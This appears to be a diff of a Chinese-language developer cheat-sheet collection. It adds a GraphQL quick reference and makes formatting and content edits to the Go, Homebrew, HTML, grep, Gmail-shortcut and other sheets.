website|chore|style|type|revert
```
### 常用
<!--rehype:wrap-class=row-span-1-->
| 类型 | 描述 |
| ----------|------------ |
| `feat:` | 新特性 |
| `fix(scope):` | 修复 scope 中的 Bug |
| `feat!:` / `feat(scope)!:` | breaking change / 重构 API |
| `chore(deps):` | 更新依赖 |
<!--rehype:className=left-align-->
### Commit 类型
<!--rehype:wrap-class=col-span-2-->
| 类型 | 描述 |
| ----------|------------ |
| `build:` | 变更影响的是**构建系统**或者**外部依赖** (如: gulp, npm) |
| `ci:` | 修改了 CI 配置文件或脚本 (如: Github Action, Travis) |
| `chore:` | **【重要】** 变更不影响源代码或测试(如更新了辅助工具、库等) |
| `docs:` | 只修改了文档 |
| `feat:` | **【重要】** 一个新特性 |
| `fix:` | **【重要】** 修复了一个 Bug |
| `perf:` | 增强性能的代码变更 |
| `refactor:` | 并非修复 Bug 或添加新特性的代码变更 |
| `revert:` | 回退代码 |
| `style:` | 变更不影响一些有意义的代码 (如: 删除空格、格式化代码、添加分号等) |
| `test:` | 添加测试代码或修正已有的测试 |
<!--rehype:className=left-align-->
另见
---
- [最常用的 git 提示和技巧](https://github.com/git-tips/tips)
- [最常用的 git 提示和技巧](https://github.com/git-tips/tips)
- [Conventional Commits 官方网站](https://www.conventionalcommits.org/zh-hans/v1.0.0/) _(conventionalcommits.org)_
- [Conventional Commits Cheatsheet](https://gist.github.com/Zekfad/f51cb06ac76e2457f11c80ed705c95a3) _(gist.github.com)_

View File

@ -212,6 +212,7 @@ jobs:
```shell
jobs.<job_id>.environment
```
使用单一环境名称的示例
```yml
@ -251,7 +252,6 @@ steps:
设置环境变量的示例
```yml
env:
MY_ENV_VAR: ${{ <expression> }}
@ -838,4 +838,4 @@ steps:
---
- [Github Actions 学习笔记](https://jaywcjlove.github.io/github-actions) _(jaywcjlove.github.io)_
- [了解 GitHub Actions](https://docs.github.com/cn/actions/learn-github-actions) _(docs.github.com)_
- [了解 GitHub Actions](https://docs.github.com/cn/actions/learn-github-actions) _(docs.github.com)_

View File

@ -8,8 +8,8 @@ Gmail 快捷键
### Gmail 导航
:- | :-
:- | :-
:- | :-
:- | :-
`u` | 返回话题列表(或刷新话题列表)
`k` / `j` | 较新/较旧的对话
`o` or `Enter` | 打开对话; 折叠/展开
@ -20,8 +20,8 @@ Gmail 快捷键
### Gmail 应用程序
:- | :-
:- | :-
:- | :-
:- | :-
`c` | 撰写
`d` | 添加 cc 撰写
`b` | 添加 cc 和 bcc 撰写
@ -33,8 +33,8 @@ Gmail 快捷键
### Gmail 操作
<!--rehype:wrap-class=row-span-3-->
:- | :-
:- | :-
:- | :-
:- | :-
`,` | 将焦点移至工具栏
`x` | 选择对话
`s` | 旋转超级巨星
@ -73,8 +73,8 @@ Gmail 快捷键
### Gmail 跳转
:- | :-
:- | :-
:- | :-
:- | :-
`g` 然后 `i` | 打开收件箱
`g` 然后 `s` | 打开已加星标的对话
`g` 然后 `t` | 打开已发送消息
@ -86,11 +86,10 @@ Gmail 快捷键
`g` 然后 `k` | 前往任务
<!--rehype:className=shortcuts-->
### Gmail 主题列表选择
:- | :-
:- | :-
:- | :-
:- | :-
`*` 然后 `a` | 选择所有对话
`*` 然后 `n` | 取消选择所有对话
`*` 然后 `r` | 选择阅读对话
@ -101,8 +100,8 @@ Gmail 快捷键
### Gmail 搜索语法
:- | :-
:- | :-
:- | :-
:- | :-
`from:[arg]` | 从
`to:[arg]` | 至
`label:­[arg]` | 标签
@ -126,4 +125,4 @@ Gmail 快捷键
-`u` 刷新话题列表
- 对于多选,选择一个对话,然后 `shift+单击`另一个对话以选择其间的所有对话
- 在主题中添加 `EOM`(消息结尾)以避免 `no-text-in-body` 警告
- 在主题中添加 `EOM`(消息结尾)以避免 `no-text-in-body` 警告

View File

@ -23,7 +23,7 @@ $ go run hello.go
Hello, world!
```
或者在 [Go repl](https://repl.it/languages/go) 中尝试一
或者在 [Go repl](https://repl.it/languages/go) 中尝试一`go` 命令[参考](#go-命令)
### 变量
@ -89,7 +89,7 @@ Golang 基本类型
s1 := "Hello" + "World"
s2 := `A "raw" string literal
can include line breaks.`
// 输出11
// 输出10
fmt.Println(len(s1))
// 输出Hello
fmt.Println(string(s1[0:5]))
@ -126,7 +126,7 @@ isTrue := true
isFalse := false
```
#### 操作符
#### 操作符
```go
fmt.Println(true && true) // true
@ -247,7 +247,6 @@ s := strconv.Itoa(i)
fmt.Println(s) // Outputs: 90
```
Golang 字符串
--------
@ -256,18 +255,18 @@ Golang 字符串
```go
package main
import (
"fmt"
s "strings"
"fmt"
s "strings"
)
func main() {
/* 需要将字符串导入为 s */
fmt.Println(s.Contains("test", "e"))
fmt.Println(s.Contains("test", "e"))
/* 内置 */
fmt.Println(len("hello")) // => 5
// 输出: 101
fmt.Println("hello"[1])
fmt.Println("hello"[1])
// 输出: e
fmt.Println(string("hello"[1]))
fmt.Println(string("hello"[1]))
}
```
@ -277,38 +276,38 @@ func main() {
```go
package main
import (
"fmt"
"os"
"fmt"
"os"
)
type point struct {
x, y int
x, y int
}
func main() {
p := point{1, 2}
fmt.Printf("%v\n", p) // => {1 2}
fmt.Printf("%+v\n", p) // => {x:1 y:2}
fmt.Printf("%#v\n", p) // => main.point{x:1, y:2}
fmt.Printf("%T\n", p) // => main.point
fmt.Printf("%t\n", true) // => TRUE
fmt.Printf("%d\n", 123) // => 123
fmt.Printf("%b\n", 14) // => 1110
fmt.Printf("%c\n", 33) // => !
fmt.Printf("%x\n", 456) // => 1c8
fmt.Printf("%f\n", 78.9) // => 78.9
fmt.Printf("%e\n", 123400000.0) // => 1.23E+08
fmt.Printf("%E\n", 123400000.0) // => 1.23E+08
fmt.Printf("%s\n", "\"string\"") // => "string"
fmt.Printf("%q\n", "\"string\"") // => "\"string\""
fmt.Printf("%x\n", "hex this") // => 6.86578E+15
fmt.Printf("%p\n", &p) // => 0xc00002c040
fmt.Printf("|%6d|%6d|\n", 12, 345) // => | 12| 345|
fmt.Printf("|%6.2f|%6.2f|\n", 1.2, 3.45) // => | 1.20| 3.45|
fmt.Printf("|%-6.2f|%-6.2f|\n", 1.2, 3.45) // => |1.20 |3.45 |
fmt.Printf("|%6s|%6s|\n", "foo", "b") // => | foo| b|
fmt.Printf("|%-6s|%-6s|\n", "foo", "b") // => |foo |b |
s := fmt.Sprintf("a %s", "string")
fmt.Println(s)
fmt.Fprintf(os.Stderr, "an %s\n", "error")
p := point{1, 2}
fmt.Printf("%v\n", p) // => {1 2}
fmt.Printf("%+v\n", p) // => {x:1 y:2}
fmt.Printf("%#v\n", p) // => main.point{x:1, y:2}
fmt.Printf("%T\n", p) // => main.point
fmt.Printf("%t\n", true) // => TRUE
fmt.Printf("%d\n", 123) // => 123
fmt.Printf("%b\n", 14) // => 1110
fmt.Printf("%c\n", 33) // => !
fmt.Printf("%x\n", 456) // => 1c8
fmt.Printf("%f\n", 78.9) // => 78.9
fmt.Printf("%e\n", 123400000.0) // => 1.23E+08
fmt.Printf("%E\n", 123400000.0) // => 1.23E+08
fmt.Printf("%s\n", "\"string\"") // => "string"
fmt.Printf("%q\n", "\"string\"") // => "\"string\""
fmt.Printf("%x\n", "hex this") // => 6.86578E+15
fmt.Printf("%p\n", &p) // => 0xc00002c040
fmt.Printf("|%6d|%6d|\n", 12, 345) // => | 12| 345|
fmt.Printf("|%6.2f|%6.2f|\n", 1.2, 3.45) // => | 1.20| 3.45|
fmt.Printf("|%-6.2f|%-6.2f|\n", 1.2, 3.45) // => |1.20 |3.45 |
fmt.Printf("|%6s|%6s|\n", "foo", "b") // => | foo| b|
fmt.Printf("|%-6s|%-6s|\n", "foo", "b") // => |foo |b |
s := fmt.Sprintf("a %s", "string")
fmt.Println(s)
fmt.Fprintf(os.Stderr, "an %s\n", "error")
}
```
@ -316,8 +315,8 @@ func main() {
### 函数实例
| 实例 | Result |
|-------------------------------|-------------|
| 实例 | Result |
| ----------------------------- | ----------- |
| Contains("test", "es") | true |
| Count("test", "t") | 2 |
| HasPrefix("test", "te") | true |
@ -402,7 +401,7 @@ for _, num := range nums {
fmt.Println("sum:", sum)
```
### While 循环
### For 循环
```go
i := 1
@ -441,16 +440,16 @@ Golang 结构和映射
```go
package main
import (
"fmt"
"fmt"
)
type Vertex struct {
X int
Y int
X int
Y int
}
func main() {
v := Vertex{1, 2}
v.X = 4
fmt.Println(v.X, v.Y) // => 4 2
v := Vertex{1, 2}
v.X = 4
fmt.Println(v.X, v.Y) // => 4 2
}
```
@ -569,6 +568,7 @@ sum(nums...) // => [1 2 3 4] 10
```go
import --> const --> var --> init()
```
---
```go
@ -701,22 +701,22 @@ Golang 并发
```go
package main
import (
"fmt"
"time"
"fmt"
"time"
)
func f(from string) {
for i := 0; i < 3; i++ {
fmt.Println(from, ":", i)
}
for i := 0; i < 3; i++ {
fmt.Println(from, ":", i)
}
}
func main() {
f("direct")
go f("goroutine")
go func(msg string) {
fmt.Println(msg)
}("going")
time.Sleep(time.Second)
fmt.Println("done")
f("direct")
go f("goroutine")
go func(msg string) {
fmt.Println(msg)
}("going")
time.Sleep(time.Second)
fmt.Println("done")
}
```
@ -725,26 +725,26 @@ func main() {
### WaitGroup
<!--rehype:wrap-class=row-span-2-->
```golang
```go
package main
import (
"fmt"
"sync"
"time"
"fmt"
"sync"
"time"
)
func w(id int, wg *sync.WaitGroup) {
defer wg.Done()
fmt.Printf("%d starting\n", id)
time.Sleep(time.Second)
fmt.Printf("%d done\n", id)
defer wg.Done()
fmt.Printf("%d starting\n", id)
time.Sleep(time.Second)
fmt.Printf("%d done\n", id)
}
func main() {
var wg sync.WaitGroup
for i := 1; i <= 5; i++ {
wg.Add(1)
go w(i, &wg)
}
wg.Wait()
var wg sync.WaitGroup
for i := 1; i <= 5; i++ {
wg.Add(1)
go w(i, &wg)
}
wg.Wait()
}
```
@ -916,6 +916,7 @@ func main() {
-------------
### 关键字(Keywords)
- break
- default
- func
@ -945,8 +946,8 @@ func main() {
### 运算符和标点符号
| | | | | | | | | |
|---|----|-----|-----|------|----|-----|---|---|
| | | | | | | | | |
| --- | ---- | ----- | ----- | ------ | ---- | ----- | --- | --- |
| `+` | `&` | `+=` | `&=` | `&&` | `==` | `!=` | `(` | `)` |
| `-` | `\|` | `-=` | `\|=` | `\|\|` | `<` | `<=` | `[` | `]` |
| `*` | `^` | `*=` | `^=` | `<-` | `>` | `>=` | `{` | `}` |
@ -954,8 +955,57 @@ func main() {
| `%` | `>>` | `%=` | `>>=` | `--` | `!` | `...` | `.` | `:` |
| | `&^` | `&^=` | | | | | | |
Go 命令
---
### Go 编译器命令
:- | --
:- | --
`go command [参数]` | go 命令 [参数]
`go build` | 编译包和依赖包
`go clean` | 移除对象和缓存文件
`go doc` | 显示包的文档
`go env` | 打印go的环境变量信息
`go bug` | 报告bug
`go fix` | 更新包使用新的api
`go fmt` | 格式规范化代码
`go generate` | 通过处理资源生成go文件
`go get` | 下载并安装包及其依赖
`go install` | 编译和安装包及其依赖
`go list` | 列出所有包
`go run` | 编译和运行go程序
`go test` | 测试
`go tool` | 运行给定的go工具
`go version` | 显示go当前版本
`go vet` | 发现代码中可能的错误
### ENV
:- | --
:- | --
`GOOS` | 编译系统
`GOARCH` | 编译arch
`GO111MODULE` | gomod开关
`GOPROXY` | go代理 <https://goproxy.io> <https://goproxy.cn>
`GOSSAFUNC` | 生成 `SSA.html` 文件,展示代码优化的每一步 `GOSSAFUNC=func_name go build`
<!--rehype:className=style-list-arrow-->
### Module
:- | --
:- | --
`go mod init` | 初始化当前文件夹创建go.mod文件
`go mod download` | 下载依赖的module到本地
`go mod tidy` | 增加缺少的module删除无用的module
`go mod vendor` | 将依赖复制到vendor下
文件 `go.mod` | 依赖列表和版本约束
文件 `go.sum` | 记录 `module` 文件 `hash` 值,用于安全校验
<!--rehype:className=style-list-arrow-->
另见
--------
- [Devhints](https://devhints.io/go) _(devhints.io)_
- [A tour of Go](https://tour.golang.org/welcome/1) _(tour.golang.org)_
- [Golang wiki](https://github.com/golang/go/wiki/) _(github.com)_

653
docs/graphql.md Normal file
View File

@ -0,0 +1,653 @@
GraphQL 备忘清单
===
这份快速参考备忘单提供了 [GraphQL](https://graphql.org/) 的简要概述
入门
---
### 概述
- RESTful API 的另一种方法
- GraphQL 是一种 API 查询语言
- 使用清晰的共享术语轻松描述 GraphQL API 的形状。
- 客户端发出查询/突变以读取和更新数据
- GraphQL 语法可以表达复杂的实体关系
- 用 [不同语言](https://graphql.org/code/) 实现 GraphQL 的库
[GraphQL](https://graphql.org/)
### Schema
:-|-
:-|-
`schema` | GraphQL 架构定义
`query` | 读取和遍历数据
`mutation` | 修改数据或触发动作
`subscription` | 发生事件时运行查询
### 内置标量类型
:-|-
:-|-
`Int` | 有符号 32 位整数
`Float` | 有符号双精度浮点值
`String` | UTF-8 字符序列
`Boolean` | 对或错布尔值类型
`ID` | 唯一标识符
### 类型定义
:-|-
:-|-
`scalar` | 标量类型
`type` | 对象类型
`interface` | 接口类型
`union` | 联合类型
`enum` | 枚举类型
`input` | 输入对象类型
### 类型修饰符
:-|-
:-|-
`String` | 可空字符串
`String!` | 非空字符串
`[String]` | 可空字符串列表
`[String]!` | 可空字符串的非空列表
`[String!]!` | 非空字符串的非空列表
### 输入参数
<!--rehype:wrap-class=row-span-2-->
#### 基本输入
```graphql
type Query {
users(limit: Int): [User]
}
```
#### 输入默认值
```graphql
type Query {
users(limit: Int = 10): [User]
}
```
#### 具有多个参数的输入
```graphql
type Query {
users(limit: Int, sort: String): [User]
}
```
#### 具有多个参数和默认值的输入
```graphql
type Query {
users(limit: Int = 10, sort: String): [User]
}
type Query {
users(limit: Int, sort: String = "asc"): [User]
}
type Query {
users(limit: Int = 10, sort: String = "asc"): [User]
}
```
<!--rehype:className=wrap-text -->
### 输入类型
```graphql
input ListUsersInput {
limit: Int
since_id: ID
}
```
```graphql
type Mutation {
users(params: ListUsersInput): [User]!
}
```
### 自定义标量
```graphql
scalar Url
type User {
name: String
homepage: Url
}
```
### 接口
```graphql
interface Foo {
is_foo: Boolean
}
interface Goo {
is_goo: Boolean
}
type Bar implements Foo {
is_foo: Boolean
is_bar: Boolean
}
type Baz implements Foo, Goo {
is_foo: Boolean
is_goo: Boolean
is_baz: Boolean
}
```
实现一个或多个接口的对象
### 联合
```graphql
type Foo {
name: String
}
type Bar {
is_bar: String
}
union SingleUnion = Foo
union MultipleUnion = Foo | Bar
type Root {
single: SingleUnion
multiple: MultipleUnion
}
```
一个或多个对象的联合
### 枚举
```graphql
enum USER_STATE {
NOT_FOUND
ACTIVE
INACTIVE
SUSPENDED
}
type Root {
stateForUser(userID: ID!): USER_STATE!
users(state: USER_STATE, limit: Int = 10): [User]
}
```
<!--rehype:className=wrap-text -->
查询和变更(Mutations)
---
### 字段
```graphql
{
hero {
name
}
}
```
结果:
```json
{
"data": {
"hero": {
"name": "R2-D2"
}
}
}
```
### 查询可以有注释
```graphql
{
hero {
name
# 查询可以有注释!
friends {
name
}
}
}
```
结果:
```json
{
"data": {
"hero": {
"name": "R2-D2",
"friends": [
{ "name": "Luke Skywalker" },
{ "name": "Han Solo" }
]
}
}
}
```
### 参数 Arguments
```graphql
{
human(id: "1000") {
name
height
}
}
```
结果:
```json
{
"data": {
"human": {
"name": "Luke Skywalker",
"height": 1.72
}
}
}
```
### 不同类型的参数
```graphql
{
human(id: "1000") {
name
height(unit: FOOT)
}
}
```
结果:
```json
{
"data": {
"human": {
"name": "Luke Skywalker",
"height": 5.6430448
}
}
}
```
### 别名(Aliases)
```graphql
{
empireHero: hero(episode: EMPIRE) {
name
}
jediHero: hero(episode: JEDI) {
name
}
}
```
结果:
```json
{
"data": {
"empireHero": {
"name": "Luke Skywalker"
},
"jediHero": {
"name": "R2-D2"
}
}
}
```
### 片段(Fragments)
<!--rehype:wrap-class=row-span-2-->
```graphql
{
leftComparison: hero(episode: EMPIRE) {
...comparisonFields
}
rightComparison: hero(episode: JEDI) {
...comparisonFields
}
}
fragment comparisonFields on Character {
name
appearsIn
friends {
name
}
}
```
结果:
```json
{
"data": {
"leftComparison": {
"name": "Luke Skywalker",
"appearsIn": [
"NEWHOPE",
"EMPIRE",
"JEDI"
],
"friends": [
{ "name": "Han Solo" },
{ "name": "Leia Organa" },
{ "name": "C-3PO" },
{ "name": "R2-D2" }
]
},
"rightComparison": {
"name": "R2-D2",
"appearsIn": [
"NEWHOPE",
"EMPIRE",
"JEDI"
],
"friends": [
{ "name": "Luke Skywalker" },
{ "name": "Han Solo" },
{ "name": "Leia Organa" }
]
}
}
}
```
### 在片段内使用变量
<!--rehype:wrap-class=row-span-3-->
```graphql
query HeroComparison($first: Int = 3) {
leftComparison: hero(episode: EMPIRE) {
...comparisonFields
}
rightComparison: hero(episode: JEDI) {
...comparisonFields
}
}
fragment comparisonFields on Character {
name
friendsConnection(first: $first) {
totalCount
edges {
node {
name
}
}
}
}
```
结果:
```json
{
"data": {
"leftComparison": {
"name": "Luke Skywalker",
"friendsConnection": {
"totalCount": 4,
"edges": [
{
"node": {
"name": "Han Solo"
}
},
{
"node": {
"name": "Leia Organa"
}
}
]
}
},
"rightComparison": {
"name": "R2-D2",
"friendsConnection": {
"totalCount": 3,
"edges": [
{
"node": {
"name": "Luke Skywalker"
}
},
{
"node": {
"name": "Han Solo"
}
}
]
}
}
}
}
```
### 操作名称(Operation name)
```graphql
query HeroNameAndFriends {
hero {
name
friends {
name
}
}
}
```
结果:
```json
{
"data": {
"hero": {
"name": "R2-D2",
"friends": [
{ "name": "Luke Skywalker" },
{ "name": "Han Solo" },
{ "name": "Leia Organa" }
]
}
}
}
```
### 变量(Variables)
```graphql
# { "graphiql": true, "variables": { "episode": JEDI } }
query HeroNameAndFriends($episode: Episode) {
hero(episode: $episode) {
name
friends {
name
}
}
}
```
<!--rehype:className=wrap-text -->
变量前缀必须为 `$`,后跟其类型
### 默认变量(Default variables)
```graphql
query HeroNameAndFriends($episode: Episode = "JEDI") {
hero(episode: $episode) {
name
friends {
name
}
}
}
```
<!--rehype:className=wrap-text -->
### 指令(Directives)
```graphql
query Hero($episode: Episode, $withFriends: Boolean!) {
hero(episode: $episode) {
name
friends @include(if: $withFriends) {
name
}
}
}
```
<!--rehype:className=wrap-text -->
----
```graphql
{ "episode": "JEDI", "withFriends": false }
```
结果:
```json
{
"data": { "hero": { "name": "R2-D2" } }
}
```
- `@include(if: Boolean)` 仅在参数为 `true` 时,包含此字段
- `@skip(if: Boolean)` 如果参数为 `true`,跳过此字段
### 变更(Mutations)
```graphql
mutation CreateReviewForEpisode($ep: Episode!, $review: ReviewInput!) {
createReview(episode: $ep, review: $review) {
stars
commentary
}
}
```
<!--rehype:className=wrap-text -->
----
```
{
"ep": "JEDI",
"review": {
"stars": 5,
"commentary": "This is a great movie!"
}
}
```
结果:
```json
{
"data": {
"createReview": {
"stars": 5,
"commentary": "This is a great movie!"
}
}
}
```
### 内联片段(Inline Fragments)
```graphql
query HeroForEpisode($ep: Episode!) {
hero(episode: $ep) {
name
... on Droid {
primaryFunction
}
... on Human {
height
}
}
}
```
----
```graphql
{ "ep": "JEDI" }
```
结果:
```json
{
"data": {
"hero": {
"name": "R2-D2",
"primaryFunction": "Astromech"
}
}
}
```
### 元字段(Meta fields)
```graphql
{
search(text: "an") {
__typename
... on Human {
name
}
... on Droid {
name
}
... on Starship {
name
}
}
}
```
结果:
```json
{
"data": {
"search": [
{
"__typename": "Human",
"name": "Han Solo"
},
{
"__typename": "Human",
"name": "Leia Organa"
},
{
"__typename": "Starship",
"name": "TIE Advanced x1"
}
]
}
}
```
另见
-------
- [GraphQL Schema Language Cheat Sheet](https://github.com/sogko/graphql-schema-language-cheat-sheet) _(github.com)_

View File

@ -3,7 +3,6 @@ Grep 备忘清单
本备忘单旨在快速提醒使用命令行程序 grep 所涉及的主要概念,并假设您已经了解其用法。
入门
------
<!--rehype:body-class=cols-5-->
@ -31,7 +30,6 @@ $ grep 'mellon' myfile.txt
文件名中接受通配符。
### 选项示例
<!--rehype:wrap-class=col-span-3-->
@ -51,7 +49,6 @@ $ grep 'mellon' myfile.txt
| `-o` | grep -o search_string filename | 只显示字符串的匹配部分
| `-n` | grep -n "go" demo.txt | 显示匹配的行号
Grep 正则表达式
-------
@ -97,13 +94,12 @@ Grep 正则表达式
`[0-9]` | 任何数字
`[0-9­A-Z­a-z]` | 任何大小写字母或数字
### 位置
:- | :-
:- | :-
`^ ` | 行的开头
`$ ` | 行结束
`^` | 行的开头
`$` | 行结束
`^$` | 空行
`\<` | 词的开头
`\>` | 词尾
@ -176,4 +172,4 @@ grep -c "text" file_name
另见
----
- [grep 中文文档](https://wangchujiang.com/linux-command/c/grep.html) _(jaywcjlove.github.io)_
- [grep 中文文档](https://wangchujiang.com/linux-command/c/grep.html) _(jaywcjlove.github.io)_

View File

@ -36,7 +36,7 @@ export HOMEBREW_INSTALL_FROM_API=1
### 命令
命令 | 说明
:--- :---
:--- :---
`brew install git` | `安装`一个包
`brew reinstall git` | 重新`安装`一个包
`brew uninstall git` | `删除`/`卸载`软件包
@ -51,7 +51,7 @@ export HOMEBREW_INSTALL_FROM_API=1
### 更多包命令
命令 | 说明
:--- :---
:--- :---
`brew info git` | 列出版本、注意事项等
`brew cleanup git` | 删除旧版本
`brew edit git` | 编辑此软件包
@ -62,7 +62,7 @@ export HOMEBREW_INSTALL_FROM_API=1
### Brew Cask 命令
命令 | 说明
:--- :---
:--- :---
`brew install --cask firefox` | 安装火狐浏览器
`brew list --cask` | 列出已安装应用
@ -72,12 +72,12 @@ Cask 命令用于与图形应用程序交互
<!--rehype:wrap-class=row-span-2-->
命令 | 说明
:--- :---
:--- :---
`brew update` | 更新 `brew``cask`
`brew upgrade` | 升级所有软件包
`brew list` | 已安装列表
`brew outdated` | 升级需要什么?
`brew doctor` | 诊断冲泡问题
`brew doctor` | 诊断 brew 问题
`brew pin <formula>` | 防止指定软件包升级
`brew unpin <formula>` | 允许升级指定的软件包
@ -86,11 +86,14 @@ Cask 命令用于与图形应用程序交互
```bash
$ brew cleanup # 删除旧版本的已安装软件包
$ brew cleanup <formula> # 删除旧版本指定软件包
$ brew cleanup -s # 删除未安装的软件包
$ brew cleanup --prune=all # 删除所有 Homebrew 缓存
$ rm -rf $(brew --cache) # 直接删除 Homebrew 的缓存目录
# 显示所有将被删除的软件包(试运行)
$ brew cleanup -n
$ brew cleanup -n
```
### brew 源码仓库
### Brew 源码仓库
```bash
# 列出所有当前点击的源码仓库(点击)
@ -111,7 +114,7 @@ $ brew untap <user/repo>
$ brew list
# 显示所有本地可用的 brew 配方
$ brew search
# 对用于 brew 的软件包名称执行子字符串搜索
# 搜索包含指定字符的 brew 配方
$ brew search <text>
# 显示有关软件包的信息
$ brew info <formula>
@ -120,7 +123,7 @@ $ brew info <formula>
### 帮助命令
命令 | 说明
:--- :---
:--- :---
`brew help` | 打印帮助信息
`brew help <sub-command>` | 打印子命令的帮助信息
@ -129,4 +132,4 @@ $ brew info <formula>
- [Homebrew 官网](https://brew.sh/index_zh-cn) _(brew.sh)_
- [Homebrew brew 源码](https://github.com/Homebrew/brew) _(github.com)_
- [Homebrew core 源码](https://github.com/Homebrew/homebrew-core) _(github.com)_
- [Homebrew core 源码](https://github.com/Homebrew/homebrew-core) _(github.com)_

View File

@ -3,7 +3,6 @@ HTML 字符实体备忘清单
此备忘清单是 HTML 实体及其编号和名称的完整列表。还包括可以用 HTML 表示的 ASCII 字符的完整列表。
HTML 字符实体引用
------
<!--rehype:body-class=cols-1-->
@ -360,4 +359,4 @@ HTML 字符实体引用
另见
---
- [HTML 字符集实体](https://jaywcjlove.github.io/html-tutorial/reference/charactersets_entities.html)
- [HTML 字符集实体](https://jaywcjlove.github.io/html-tutorial/reference/charactersets_entities.html)

View File

@ -43,11 +43,12 @@ HTML 备忘清单
<p>我来自快速参考</p>
<p>分享快速参考备忘单。</p>
```
请参阅:[段落元素](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/p)
### HTML 链接
```html
```html
<a href="https://github.com/jaywcjlove/reference">
Github
</a>
@ -68,8 +69,6 @@ HTML 备忘清单
请参阅:[\<a> 属性](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/a#attributes)
### Image 标签
```html
@ -163,10 +162,8 @@ HTML 备忘清单
src="https://www.openstreetmap.org/export/embed.html?bbox=-0.004017949104309083%2C51.47612752641776%2C0.00030577182769775396%2C51.478569861898606&layer=mapnik">
</iframe>
请参阅:[内联框架元素](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/iframe)
### HTML 中的 JavaScript
```html
@ -176,7 +173,6 @@ HTML 备忘清单
</script>
```
#### 外部 JavaScript
```html
@ -186,7 +182,6 @@ HTML 备忘清单
</body>
```
### HTML 中的 CSS
```html
@ -206,8 +201,6 @@ HTML 备忘清单
</head>
```
HTML5 标签
-------------
@ -227,7 +220,6 @@ HTML5 标签
</body>
```
### 标题导航
```html
@ -242,7 +234,6 @@ HTML5 标签
</header>
```
### HTML5 Tags
<!--rehype:wrap-class=row-span-4-->
@ -281,7 +272,6 @@ HTML5 标签
[video](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/video) | 嵌入视频
[wbr](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/wbr) | 换行机会
### HTML5 Video
```html
@ -339,7 +329,6 @@ HTML5 标签
<rp>(</rp><rt>yīn</rt><rp>)</rp>
</ruby>
### HTML5 kdi
```html
@ -358,7 +347,6 @@ HTML5 标签
<li>User <bdi>إيان</bdi>: 90 points</li>
</ul>
### HTML5 progress
```html
@ -375,7 +363,6 @@ HTML5 标签
<p>我爱<mark>备忘清单</mark></p>
HTML 表格
--------------
@ -505,19 +492,18 @@ HTML 表单
#### ↓ 预览
<form method="POST" action="api/login" style="padding: 20px;">
<label for="email">邮箱: </label>
<label for="email">邮箱: </label>
<input type="email" id="email" name="email" class="border border-slate-400 mt-2">
<br/>
<label for="pwd">密码:</label>
<label for="pwd">密码:</label>
<input type="password" id="pwd" name="pwd" class="border border-slate-400 mt-2">
<br/>
<input type="submit" value="登录" class="mt-2">
<br/>
<input type="checkbox" id="ck" name="ck" class="mt-2">
<label for="ck">记住我</label>
<label for="ck">记住我</label>
</form>
HTML `<form>` 元素用于收集信息并将其发送到外部源。
### Form 属性
@ -602,13 +588,16 @@ Textarea 是一个多行文本输入控件
单选按钮用于让用户只选择一个
### Checkboxes
```html
<input type="checkbox" name="s" id="soc">
<label for="soc">Soccer</label>
<input type="checkbox" name="s" id="bas">
<label for="bas">Baseball</label>
```
#### ↓ 预览
<form style="padding: 20px;">
<input type="checkbox" name="sports" id="soccer">
<label for="soccer">Soccer</label>
@ -718,7 +707,6 @@ Textarea 是一个多行文本输入控件
`将数据提交到服务器` 重置为默认值
HTML input 标签
-----------
<!--rehype:body-class=cols-2-->
@ -729,10 +717,10 @@ HTML input 标签
输入标记是一个空元素,用于标识要从用户处获取的特定类型的字段信息。
```html
<input type="text" name="?" value="?" minlength="6" required />
<input type="text" name="?" value="?" minlength="6" required />
```
----
---
:-|:-
:-|:-
@ -794,7 +782,6 @@ HTML input 标签
| `type="search"` | <input type="search"> |
| `type="range"` | <input type="range"> |
### Input CSS 选择器
| | |
@ -820,6 +807,7 @@ meta 标记描述 HTML 文档中的元数据。它解释了关于 HTML 的其他
<meta property="og:title" content="···">
<meta name="twitter:title" content="···">
```
---
```html
@ -828,6 +816,7 @@ meta 标记描述 HTML 文档中的元数据。它解释了关于 HTML 的其他
<meta property="og:url" content="https://···">
<meta name="twitter:url" content="https://···">
```
---
```html
@ -836,6 +825,7 @@ meta 标记描述 HTML 文档中的元数据。它解释了关于 HTML 的其他
<meta property="og:description" content="···">
<meta name="twitter:description" content="···">
```
---
```html
@ -843,12 +833,14 @@ meta 标记描述 HTML 文档中的元数据。它解释了关于 HTML 的其他
<meta property="og:image" content="https://···">
<meta name="twitter:image" content="https://···">
```
---
```html
<!-- ua -->
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
```
---
```html
@ -863,7 +855,7 @@ meta 标记描述 HTML 文档中的元数据。它解释了关于 HTML 的其他
<meta property="og:type" content="website">
<meta property="og:locale" content="en_CA">
<meta property="og:title" content="HTML cheatsheet">
<meta property="og:url" content="https://quickref.me/html">
<meta property="og:url" content="https://jaywcjlove.github.io/">
<meta property="og:image" content="https://xxx.com/image.jpg">
<meta property="og:site_name" content="Name of your website">
<meta property="og:description" content="Description of this page">
@ -877,7 +869,7 @@ Facebook、Instagram、Pinterest、LinkedIn 等使用。
<meta name="twitter:card" content="summary">
<meta name="twitter:site" content="@QuickRef_ME">
<meta name="twitter:title" content="HTML cheatsheet">
<meta name="twitter:url" content="https://quickref.me/html">
<meta name="twitter:url" content="https://jaywcjlove.github.io/">
<meta name="twitter:description" content="Description of this page">
<meta name="twitter:image" content="https://xxx.com/image.jpg">
```
@ -900,4 +892,4 @@ Facebook、Instagram、Pinterest、LinkedIn 等使用。
- [HTML 4.01 Specification](https://www.w3.org/TR/REC-html40/cover.html#minitoc) _(w3.org)_
- [HTML Tutorial](https://wangchujiang.com/html-tutorial/) _(jaywcjlove.github.io)_
- [Emmet 备忘清单,提升 HTML 和 CSS 代码编写的工具包](./emmet.md) _(jaywcjlove.github.io)_
- [Emmet 备忘清单,提升 HTML 和 CSS 代码编写的工具包](./emmet.md) _(jaywcjlove.github.io)_

View File

@ -53,7 +53,7 @@ htop 的软件包在大多数发行版中都[可用下载](https://htop.dev/down
`T` | 追踪/停止
`Z` | 僵尸
`D` | 磁盘睡眠
<!--rehype:className=shortcuts-->
<!--rehype:className=shortcuts-->
### 交互式命令
<!--rehype:wrap-class=col-span-2 row-span-3-->
